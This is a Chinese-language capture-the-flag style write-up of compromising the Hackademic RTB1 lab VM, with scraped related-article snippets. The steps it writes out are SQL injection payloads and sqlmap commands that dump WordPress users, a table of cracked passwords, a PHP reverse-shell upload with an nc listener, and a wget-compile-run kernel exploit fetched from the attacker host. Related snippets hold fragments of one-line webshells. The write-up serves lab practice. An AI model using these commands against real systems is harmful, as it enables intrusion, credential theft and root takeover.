打靶笔记-02-vulhub-Hackademic.RTB1

一、靶机信息

  1. Name: Hackademic: RTB1(中等难度)
  2. Date release: 6 Sep 2011
  3. Author: mr.pr0n
  4. Series: Hackademic

二、靶机启动

2.1 校验靶机文件

  1. sha1sum Hackademic.RTB1.zip
  2. e1d82e32d3a0353da3c35aa91716b711907ac826 Hackademic.RTB1.zip

2.2 解压导入VMware启动靶机,并配置网络

  1. unzip Hackademic.RTB1.zip

使用VMware进行扫描或双击打开Hackademic.RTB1.vmx,我进行了一些修改,如下:

2.3 打快照,启动靶机

没啥好说的,避免搞坏打个快照省事,居然还是带图形界面的:

三、开始渗透

3.1 获取靶机IP

3.1.1 先获取一下kali的IP网卡信息

  1. ifconfig

3.1.2 获取靶机IP

  1. sudo arp-scan -I eth0 -l



成功获取到靶机IP为172.16.95.138

3.2 扫描靶机端口和服务

3.2.1 扫描开放端口

  1. sudo nmap -p- 172.16.95.138



开放端口22,80

3.2.2 确定端口服务

  1. sudo nmap -sV -p22,80 172.16.95.138



确定22端口上运行的是ssh服务,80端口上运行的是Apache httpd 2.2.15的服务,并且目标系统是Fedora

3.2.3 漏洞扫描

  1. sudo nmap -p80 -sC 172.16.95.138
  2. sudo nmap -p22 -sC 172.16.95.138



可以发现80端口上支持潜在的风险方法TRACE

3.3 漏洞利用

22端口目前看来没啥问题,80端口上支持一个风险方法TRACE,这个应该可以稍微利用一下,不过现在还是先去访问一下80端口,看看到底有什么。

3.3.1 访问Web服务



只是一个引导界面,跟进...



可以看到进入了网站子目录Hackademic_RTB1,一会儿没进展的话可以进行个目录扫描,这会儿先在这个页面搜集点东西,提示需要获取root权限和root目录下的key.txt,然后还发现有几个链接可以点击,点一下。。。

点击Got root?!



发现URL如下,而且页面也发生了变化

  1. http://172.16.95.138/Hackademic_RTB1/?p=9

看到这个?p=9,瞬间就想到是否有sql注入的漏洞呢,那就测试一下吧



手动测试了一圈好像是没啥漏洞,那就回去看下一个链接,之后可以拿sqlmap日一下

  1. http://172.16.95.138/Hackademic_RTB1/?cat=1



测试?cat=1的地方是否有sql注入



很幸运,第一次单引号测试就爆出来了,由上述报错信息,能得到这是个Worddress,而且当前数据库名:wp-categories

紧接着进行如下测试:

  1. ?cat=1 and 1=1
  2. ?cat=1 and 1=2





发现点不一样的了,确认and语句可以执行,这就好办了,可以按照常规注入进行搞一波了

  1. ?cat=1 order by 6
  2. // 可以看到报未知行,说明当前数据库没有6个字段
  3. ?cat=1 order by 3
  4. ?cat=1 order by 5
  5. // 最终确定当前数据库有5个字段,进行下一步联合查询





  1. // 确定显示位置为2的位置,至于为啥要加and1=2,是因为这个后台sql语句后面有limit限制条件,这样前面查不出来,后面的就能显示出来了
  2. ?cat=1 and 1=2 union select 1,2,3,4,5
  3. ?cat=1 and 1=2 union select 1,database(),3,4,5



后面手动也可以搞很多信息出来,不过这里不为练习原理,为了效率接下来上工具日

3.3.2 sqlmap 爆破数据库

  1. sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --random-agent
  2. sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL --dbs --random-agent
  3. sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress --tables --random-agent
  4. sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users --columns --random-agent
  5. sqlmap -u 'http://172.16.95.138/Hackademic_RTB1/?cat=1*' --dbms=MySQL -D wordpress -T wp_users -C user_login,user_pass --dump --random-agent











可以看到这儿进行了密码hash的爆破,有一个没有爆破出来直接找在先的数据库进行一下爆破,https://md5.gromweb.com/



最终得到登陆用户密码如下:

user_login user_pass
NickJames admin
MaxBucky kernel
GeorgeMiller q1w2e3
JasonKonnors maxwell
TonyBlack napoleon
JohnSmith PUPPIES

3.3.3 目录扫描

目前拿到登陆账号和密码了,所以自然而然的就该找登陆页面了,上dirsearch

  1. dirsearch -u "http://172.16.95.138/" -i 200



好像没啥发现,好在还有一个之前已经发现的目录Hackademic_RTB1可以扫描一下

  1. dirsearch -u "http://172.16.95.138/Hackademic_RTB1/" -i 200



这次拿到了登陆页面/Hackademic_RTB1/wp-login.php

3.3.4 寻找上传点,上传webshell

开始尝试登陆上述账号,最终发现GeorgeMiller用户有配置选项



那就开启文件上传功能,并允许上传php类型的文件,上传一个反弹shell的php文件





上传成功,开启监听之后,访问webshell

  1. nc -lnvp 6666



发现权限不够,只能想办法进行提权了

3.3.5 提权

要提权,先进行本地信息搜集一波



然后在kali上搜索一下有没有可以提权的脚本

  1. searchsploit 2.3.3 |grep "Local Privilege Escalation"



最后选定了其中一个,将其复制到网站目录

  1. sudo cp /usr/share/exploitdb/exploits/linux_x86-64/local/15024.c /var/www/html
  2. sudo systemctl start apache2

最后好像这个提权失败了,好像是系统没对上,寻找exp上的经验要多练习一下,最后/linux/local/15285.c 可以成功提权

  1. # webshell 上执行
  2. cd /tmp
  3. wget http://172.16.95.133/15285.c
  4. gcc -o exp 15285.c
  5. chmod +x exp
  6. ./exp



四、总结

这次攻击路径是从sql注入漏洞入手,爆出了数据库中账户密码,并进行了hash破解,然后进行目录扫描发现后台登陆地址,寻找上传点上传反弹shell文件获得shell,最后利用linux内核进行了提权。

接下来应该将sqlmap仔细研究一下,并着重练习一下提权姿势。

打靶笔记-02-vulhub-Hackademic.RTB1的更多相关文章

  1. webug4.0 打靶笔记-02【完结】

    webug4.0打靶笔记-02 3. 延时注入(时间盲注) 3.1 访问靶场 3.2 寻找注入点 貌似一样的注入点: ?id=1' --+ 3.3 判断输出位置 同前两关一样的位置,时间盲注应该不是这 ...

  2. 打靶笔记-04-vulnhub-Jangow

    打靶笔记-04-vulnhub-Jangow 前面两篇名称写成了vulhub,已经更改为vulnhub;vulhub的之后再找个时间集中打一遍. 一.靶机信息 Name: Jangow: 1.0.1 ...

  3. 软件测试之loadrunner学习笔记-02集合点

    loadrunner学习笔记-02集合点 集合点函数可以帮助我们生成有效可控的并发操作.虽然在Controller中多用户负载的Vuser是一起开始运行脚本的,但是由于计算机的串行处理机制,脚本的运行 ...

  4. 《30天自制操作系统》笔记(02)——导入C语言

    <30天自制操作系统>笔记(02)——导入C语言 进度回顾 在上一篇,记录了计算机开机时加载IPL程序(initial program loader,一个nas汇编程序)的情况,包括IPL ...

  5. 《The Linux Command Line》 读书笔记02 关于命令的命令

    <The Linux Command Line> 读书笔记02 关于命令的命令 命令的四种类型 type type—Indicate how a command name is inter ...

  6. 强化学习读书笔记 - 02 - 多臂老O虎O机问题

    # 强化学习读书笔记 - 02 - 多臂老O虎O机问题 学习笔记: [Reinforcement Learning: An Introduction, Richard S. Sutton and An ...

  7. JS自学笔记02

    JS自学笔记02 1.复习 js是一门解释性语言,遇到一行代码就执行一行代码 2.查阅mdn web文档 3.提示用户输入并接收,相比之下,alert只有提示的作用: prompt(字符串) 接收: ...

  8. 机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN)

    机器学习实战(Machine Learning in Action)学习笔记————02.k-邻近算法(KNN) 关键字:邻近算法(kNN: k Nearest Neighbors).python.源 ...

  9. CS229 笔记02

    CS229 笔记02 公式推导 $ {\text {For simplicity, Let }} A, B, C \in {\Bbb {R}}^{n \times n}. $ ​ $ {\bf {\t ...

随机推荐

  1. UIView与核心动画对比?

    1.UIView和核心动画区别?        核心动画只能添加到CALayer        核心动画一切都是假象,并不会改变真实的值.             2.什么时候使用UIView的动画? ...

  2. iOS 学习资料Blog 技术论坛等,不断添加中。。。。

    iOS 学习资料整理 http://www.jianshu.com/p/dc81698a873c    中文 iOS/Mac 开发博客列表  https://github.com/tangqiaobo ...

  3. Java线程状态介绍

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11867086.html Java 线程状态介绍: Java官方文档中对Java线程的几种状态做 ...

  4. 任意文件上传漏洞syr

    任意文件上传漏洞 先来几个一句话木马看看 <%execute(request("value"))%> #asp木马 <?php eval($_POST[" ...

  5. MySQL基本命令语法之select

    目录 MySQL基本命令语法之select 查询去重以及常数 空值与着重号 着重号 空值 运算符 算术运算符 比较运算符 符号型 非符号型 逻辑运算符 优先级 排序分页 排序 分页 拓展 多表查询 等 ...

  6. 字符编码和Python代码操作文件

    字符编码和Python代码操作文件 读写模式之a模式 # a模式 只追加模式 # 路径不存在:自动创建 with open(r'a.txt','a',encoding='utf8') as f: pa ...

  7. socket 套接字编程

    今日内容 socket 套接字编程 简易服务端与客户端代码实现 通信循环 黏包现象(TCP协议) 报头制作.struct 模块.封装形式 内容详细 一.socket 套接字编程 实现一款能够进行数据交 ...

  8. Solution -「51nod 1355」斐波那契的最小公倍数

    \(\mathcal{Description}\)   Link.   令 \(f\) 为 \(\text{Fibonacci}\) 数列,给定 \(\{a_n\}\),求: \[\operatorn ...

  9. Java老码农心得:卷了这么多年,您真的卷会了吗?

    前言 大家好,我是福隆苑居士,今天跟大家聊一下程序员在当下内卷成风的情况下,使用什么方法可以了解行业发展趋势,知道哪些该学,哪些可以略过,今年应该掌握什么,可以放弃什么,让自己时刻紧跟行业的步伐永不掉 ...

  10. RadonDB MySQL on K8s 2.1.2 发布!

    RadonDB MySQL on Kubernetes 于 2 月 17 日发布了新版本 2.1.2 .该版本在节点的重建.增删等方面进行了全面升级. 致谢: 首先感谢 @andyli029 @ace ...